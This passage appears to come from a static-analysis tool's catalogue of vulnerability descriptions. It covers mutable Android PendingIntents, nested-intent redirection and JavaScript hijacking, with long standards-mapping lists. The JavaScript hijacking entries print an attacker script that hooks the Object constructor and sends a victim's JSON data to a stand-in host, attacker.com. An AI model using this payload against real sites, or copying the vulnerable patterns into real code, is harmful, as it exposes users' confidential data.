[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[45] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.java.intent_manipulation_implicit_pending_intent
Abstract
A PendingIntent has been detected that has its flag value set to FLAG_MUTABLE. Pending intents created with the flag value of FLAG_MUTABLE are susceptible to having unspecified Intent fields set downstream, which can modify the capacity of the Intent and leave the system open to vulnerability.
Explanation
Allowing modification of the underlying Intent of a PendingIntent after its creation can leave a system open to attack. This mostly depends on the overall capability of the underlying Intent. In most cases, it is best practice to prevent potential issues by setting the PendingIntent flag to FLAG_IMMUTABLE.

Example 1: The following includes a PendingIntent created with a flag value of FLAG_MUTABLE.


...
val intent_flag_mut = Intent(Intent.ACTION_GTALK_SERVICE_DISCONNECTED, Uri.EMPTY, this, DownloadService::class.java)
val flag_mut = PendingIntent.FLAG_MUTABLE

val pi_flagmutable = PendingIntent.getService(
this,
0,
intent_flag_mut,
flag_mut
)
...
References
[1] Remediation for Implicit PendingIntent Vulnerability
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 99
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[14] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[23] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[45] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.java.intent_manipulation_mutable_pending_intent
Abstract
Using a nested Intent from external input to start an activity, start a service, or deliver a broadcast can enable an attacker to arbitrarily launch internal application components, control the behavior of an internal component, or indirectly access protected data from a content provider through temporary permission grants.
Explanation
A redirection intent manipulation issue occurs when the following conditions are met:
1. An exported component accepts an arbitrary Intent nested in the extras bundle of an externally provided Intent.

2. The exported component uses the arbitrary Intent to launch a component by calling startActivity, startService, or sendBroadcast.

An attacker can possibly gain a capability that would not otherwise be permitted when these conditions exist.
Example 1: The following code accepts a nested Intent from an external source and uses that Intent to start an activity.


...
Intent nextIntent = (Intent) getIntent().getParcelableExtra("next-intent");
startActivity(nextIntent);
...
References
[1] Intent
[2] Remediation for Intent Redirection Vulnerability - Google Help
[3] Nicole Borrelli Android Nesting Intents
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[6] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[7] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - CIS Kubernetes Benchmark partial
[10] Standards Mapping - Common Weakness Enumeration CWE ID 99
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[18] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[19] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[20] Standards Mapping - OWASP Top 10 2017 A5 Broken Access Control
[21] Standards Mapping - OWASP Top 10 2021 A01 Broken Access Control
[22] Standards Mapping - OWASP API 2023 API2 Broken Authentication
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.2.3 - Web Software Access Controls, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.intent_manipulation_redirection
Abstract
Applications that use JavaScript notation to transport sensitive data can be vulnerable to JavaScript hijacking, which allows an unauthorized attacker to read confidential data from a vulnerable application.
Explanation
An application may be vulnerable to JavaScript hijacking if it: 1) Uses JavaScript objects as a data transfer format 2) Handles confidential data. Because JavaScript hijacking vulnerabilities do not occur as a direct result of a coding mistake, the Fortify Secure Coding Rulepacks call attention to potential JavaScript hijacking vulnerabilities by identifying code that appears to generate JavaScript in an HTTP response.

Web browsers enforce the Same Origin Policy in order to protect users from malicious websites. The Same Origin Policy requires that, in order for JavaScript to access the contents of a web page, both the JavaScript and the web page must originate from the same domain. Without the Same Origin Policy, a malicious website could serve up JavaScript that loads sensitive information from other websites using a client's credentials, cull through it, and communicate it back to the attacker. JavaScript hijacking allows an attacker to bypass the Same Origin Policy in the case that a web application uses JavaScript to communicate confidential information. The loophole in the Same Origin Policy is that it allows JavaScript from any website to be included and executed in the context of any other website. Even though a malicious site cannot directly examine any data loaded from a vulnerable site on the client, it can still take advantage of this loophole by setting up an environment that allows it to witness the execution of the JavaScript and any relevant side effects it may have. Since many Web 2.0 applications use JavaScript as a data transport mechanism, they are often vulnerable while traditional web applications are not.

The most popular format for communicating information in JavaScript is JavaScript Object Notation (JSON). The JSON RFC defines JSON syntax to be a subset of JavaScript object literal syntax. JSON is based on two types of data structures: arrays and objects. Any data transport format where messages can be interpreted as one or more valid JavaScript statements is vulnerable to JavaScript hijacking. JSON makes JavaScript hijacking easier by the fact that a JSON array stands on its own as a valid JavaScript statement. Since arrays are a natural form for communicating lists, they are commonly used wherever an application needs to communicate multiple values. Put another way, a JSON array is directly vulnerable to JavaScript hijacking. A JSON object is only vulnerable if it is wrapped in some other JavaScript construct that stands on its own as a valid JavaScript statement.

Example 1: The following example begins by showing a legitimate JSON interaction between the client and server components of a web application used to manage sales leads. It goes on to show how an attacker may mimic the client and gain access to the confidential data the server returns. Note that this example is written for Mozilla-based browsers. Other mainstream browsers do not allow native constructors to be overridden when an object is created without the use of the new operator.

The client requests data from a server and evaluates the result as JSON with the following code:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


When the code runs, it generates an HTTP request which appears as the following:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(In this HTTP response and the one that follows we have elided HTTP headers that are not directly relevant to this explanation.)
The server responds with an array in JSON format:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


In this case, the JSON contains confidential information associated with the current user (a list of sales leads). Other users cannot access this information without knowing the user's session identifier. (In most modern web applications, the session identifier is stored as a cookie.) However, if a victim visits a malicious website, the malicious site can retrieve the information using JavaScript hijacking. If a victim can be tricked into visiting a web page that contains the following malicious code, the victim's lead information will be sent to the attacker's web site.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


The malicious code uses a script tag to include the JSON object in the current page. The web browser will send up the appropriate session cookie with the request. In other words, this request will be handled just as though it had originated from the legitimate application.

When the JSON array arrives on the client, it will be evaluated in the context of the malicious page. In order to witness the evaluation of the JSON, the malicious page has redefined the JavaScript function used to create new objects. In this way, the malicious code has inserted a hook that allows it to get access to the creation of each object and transmit the object's contents back to the malicious site. Other attacks might override the default constructor for arrays instead. Applications that are built to be used in a mashup sometimes invoke a callback function at the end of each JavaScript message. The callback function is meant to be defined by another application in the mashup. A callback function makes a JavaScript hijacking attack a trivial affair -- all the attacker has to do is define the function. An application can be mashup-friendly or it can be secure, but it cannot be both. If the user is not logged into the vulnerable site, the attacker may compensate by asking the user to log in and then displaying the legitimate login page for the application.

This is not a phishing attack -- the attacker does not gain access to the user's credentials -- so anti-phishing countermeasures will not be able to defeat the attack. More complex attacks could make a series of requests to the application by using JavaScript to dynamically generate script tags. This same technique is sometimes used to create application mashups. The only difference is that, in this mashup scenario, one of the applications involved is malicious.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[12] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[13] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[28] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.java.javascript_hijacking
Abstract
Applications that use JavaScript notation to transport sensitive data can be vulnerable to JavaScript hijacking, which allows an unauthorized attacker to read confidential data from a vulnerable application.
Explanation
An application may be vulnerable to JavaScript hijacking if it: 1) Uses JavaScript objects as a data transfer format 2) Handles confidential data. Because JavaScript hijacking vulnerabilities do not occur as a direct result of a coding mistake, the Fortify Secure Coding Rulepacks call attention to potential JavaScript hijacking vulnerabilities by identifying code that appears to generate JavaScript in an HTTP response.

Web browsers enforce the Same Origin Policy to protect users from malicious websites. The Same Origin Policy requires that, in order for JavaScript to access the contents of a web page, both the JavaScript and the web page must originate from the same domain. Without the Same Origin Policy, a malicious website could serve up JavaScript that loads sensitive information from other websites using a client's credentials, culls through it, and communicates it back to the attacker. JavaScript hijacking allows an attacker to bypass the Same Origin Policy in the case that a web application uses JavaScript to communicate confidential information. The loophole in the Same Origin Policy is that it allows JavaScript from any website to be included and executed in the context of any other website. Even though a malicious site cannot directly examine any data loaded from a vulnerable site on the client, it can still take advantage of this loophole by setting up an environment that allows it to witness the execution of the JavaScript and any relevant side effects it may have. Since many Web 2.0 applications use JavaScript as a data transport mechanism, they are often vulnerable while traditional web applications are not.

The most popular format for communicating information in JavaScript is JavaScript Object Notation (JSON). The JSON RFC defines JSON syntax to be a subset of JavaScript object literal syntax. JSON is based on two types of data structures: arrays and objects. Any data transport format where messages can be interpreted as one or more valid JavaScript statements is vulnerable to JavaScript hijacking. JSON makes JavaScript hijacking easier by the fact that a JSON array stands on its own as a valid JavaScript statement. Since arrays are a natural form for communicating lists, they are commonly used wherever an application needs to communicate multiple values. Put another way, a JSON array is directly vulnerable to JavaScript hijacking. A JSON object is only vulnerable if it is wrapped in some other JavaScript construct that stands on its own as a valid JavaScript statement.

Example 1: The following example begins by showing a legitimate JSON interaction between the client and server components of a web application used to manage sales leads. It goes on to show how an attacker may mimic the client and gain access to the confidential data the server returns. Note that this example is written for Mozilla-based browsers. Other mainstream browsers do not allow native constructors to be overridden when an object is created without the use of the new operator.

The client requests data from a server and evaluates the result as JSON with the following code:

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


When the code runs, it generates an HTTP request which appears as the following:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(In this HTTP response and the one that follows we have elided HTTP headers that are not directly relevant to this explanation.)
The server responds with an array in JSON format:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


In this case, the JSON contains confidential information associated with the current user (a list of sales leads). Other users cannot access this information without knowing the user's session identifier. (In most modern web applications, the session identifier is stored as a cookie.) However, if a victim visits a malicious website, the malicious site can retrieve the information using JavaScript hijacking. If a victim can be tricked into visiting a web page that contains the following malicious code, the victim's lead information will be sent to the attacker's web site.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


The malicious code uses a script tag to include the JSON object in the current page. The web browser will send up the appropriate session cookie with the request. In other words, this request will be handled just as though it had originated from the legitimate application.

When the JSON array arrives on the client, it will be evaluated in the context of the malicious page. In order to witness the evaluation of the JSON, the malicious page has redefined the JavaScript function used to create new objects. In this way, the malicious code has inserted a hook that allows it to get access to the creation of each object and transmit the object's contents back to the malicious site. Other attacks might override the default constructor for arrays instead. Applications that are built to be used in a mashup sometimes invoke a callback function at the end of each JavaScript message. The callback function is meant to be defined by another application in the mashup. A callback function makes a JavaScript hijacking attack a trivial affair -- all the attacker has to do is define the function. An application can be mashup-friendly or it can be secure, but it cannot be both. If the user is not logged into the vulnerable site, the attacker may compensate by asking the user to log in and then displaying the legitimate login page for the application.

This is not a phishing attack -- the attacker does not gain access to the user's credentials -- so anti-phishing countermeasures will not be able to defeat the attack. More complex attacks could make a series of requests to the application by using JavaScript to dynamically generate script tags. This same technique is sometimes used to create application mashups. The only difference is that, in this mashup scenario, one of the applications involved is malicious.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[12] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[13] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[28] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.javascript.javascript_hijacking
Abstract
Applications that use JavaScript notation to transport sensitive data can be vulnerable to JavaScript hijacking, which allows an unauthorized attacker to read confidential data from a vulnerable application. JavaScript arrays can be stolen if the browser's JavaScript engine allows array constructor poisoning.
Explanation
An application may be vulnerable to JavaScript hijacking if it:
1) Uses JavaScript objects as a data transfer format
2) Handles confidential data. Because JavaScript hijacking vulnerabilities do not occur as a direct result of a coding mistake, the Fortify Secure Coding Rulepacks call attention to potential JavaScript hijacking vulnerabilities by identifying code that appears to generate JavaScript in an HTTP response.

Web browsers enforce the Same Origin Policy in order to protect users from malicious websites. The Same Origin Policy requires that, in order for JavaScript to access the contents of a web page, both the JavaScript and the web page must originate from the same domain. Without the Same Origin Policy, a malicious website could serve up JavaScript that loads sensitive information from other websites using a client's credentials, cull through it, and communicate it back to the attacker. JavaScript hijacking allows an attacker to bypass the Same Origin Policy in the case that a web application uses JavaScript to communicate confidential information. The loophole in the Same Origin Policy is that it allows JavaScript from any website to be included and executed in the context of any other website. Even though a malicious site cannot directly examine any data loaded from a vulnerable site on the client, it can still take advantage of this loophole by setting up an environment that allows it to witness the execution of the JavaScript and any relevant side effects it may have. Since many Web 2.0 applications use JavaScript as a data transport mechanism, they are often vulnerable while traditional web applications are not.

The most popular format for communicating information in JavaScript is JavaScript Object Notation (JSON). The JSON RFC defines JSON syntax to be a subset of JavaScript object literal syntax. JSON is based on two types of data structures: arrays and objects. Any data transport format where messages can be interpreted as one or more valid JavaScript statements is vulnerable to JavaScript hijacking. JSON makes JavaScript hijacking easier by the fact that a JSON array stands on its own as a valid JavaScript statement. Since arrays are a natural form for communicating lists, they are commonly used wherever an application needs to communicate multiple values. Put another way, a JSON array is directly vulnerable to JavaScript hijacking. A JSON object is only vulnerable if it is wrapped in some other JavaScript construct that stands on its own as a valid JavaScript statement.

Example 1: The following example begins by showing a legitimate JSON interaction between the client and server components of a web application used to manage sales leads. It goes on to show how an attacker may mimic the client and gain access to the confidential data the server returns. Note that this example is written for Mozilla-based browsers. Other mainstream browsers do not allow native constructors to be overridden when an object is created without the use of the new operator.

The client requests data from a server and evaluates the result as JSON with the following code:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


When the code runs, it generates an HTTP request which appears as the following:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(In this HTTP response and the one that follows we have elided HTTP headers that are not directly relevant to this explanation.)
The server responds with an array in JSON format:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


In this case, the JSON contains confidential information associated with the current user (a list of sales leads). Other users cannot access this information without knowing the user's session identifier. (In most modern web applications, the session identifier is stored as a cookie.) However, if a victim visits a malicious website, the malicious site can retrieve the information using JavaScript hijacking. If a victim can be tricked into visiting a web page that contains the following malicious code, the victim's lead information will be sent to the attacker's web site.


<script>
// override the constructor used to create all objects so
